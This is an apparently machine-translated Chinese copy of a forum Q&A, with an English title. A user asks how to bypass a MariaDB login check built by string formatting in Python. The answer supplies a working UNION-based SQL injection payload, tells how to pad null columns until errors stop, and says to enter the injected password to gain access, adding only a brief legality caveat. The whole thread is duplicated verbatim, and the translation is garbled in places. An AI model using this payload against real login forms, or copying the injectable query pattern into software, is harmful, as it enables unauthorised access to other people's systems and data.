我如何利用我在此 Web 服务器上发现的这个易受攻击的 SQL 语句
How can I exploit this vulnerable SQL statement I found on this web server
我刚刚遇到一个非常简单但相当复杂的 SQL 查询,它在 MariaDB 中验证用户名时执行。该声明有两个转义字符,我似乎无法解决这个问题。我一直在尝试不同的有效负载,但其中 none 似乎有效。在无效语句中,它 returns 一个回溯调用错误,通知错误。
我已经尝试过 1' or '1'='1 和这个版本的 0
python
if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
我想找到一种绕过此验证语句并授予我访问权限的方法。
请记住,在未经所有者同意的网站上,这种做法是非法的。
尝试并联,输入:
' and 1=2 UNION SELECT 'anypass' --
如果我正确理解你的问题,将产生以下查询:
SELECT password FROM admins WHERE username='' and 1=2 UNION SELECT 'anypass' --
联合运算符需要相同数量的列,如果您收到该类型的错误,请尝试以下操作:
' and 1=2 UNION SELECT 'anypass', null --
添加空列,直到不再有错误。
那么你只需要在密码字段中输入'anypass'。
我刚刚遇到一个非常简单但相当复杂的 SQL 查询,它在 MariaDB 中验证用户名时执行。该声明有两个转义字符,我似乎无法解决这个问题。我一直在尝试不同的有效负载,但其中 none 似乎有效。在无效语句中,它 returns 一个回溯调用错误,通知错误。
我已经尝试过 1' or '1'='1 和这个版本的 0
python
if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
我想找到一种绕过此验证语句并授予我访问权限的方法。
请记住,在未经所有者同意的网站上,这种做法是非法的。
尝试并联,输入:
' and 1=2 UNION SELECT 'anypass' --
如果我正确理解你的问题,将产生以下查询:
SELECT password FROM admins WHERE username='' and 1=2 UNION SELECT 'anypass' --
联合运算符需要相同数量的列,如果您收到该类型的错误,请尝试以下操作:
' and 1=2 UNION SELECT 'anypass', null --
添加空列,直到不再有错误。
那么你只需要在密码字段中输入'anypass'。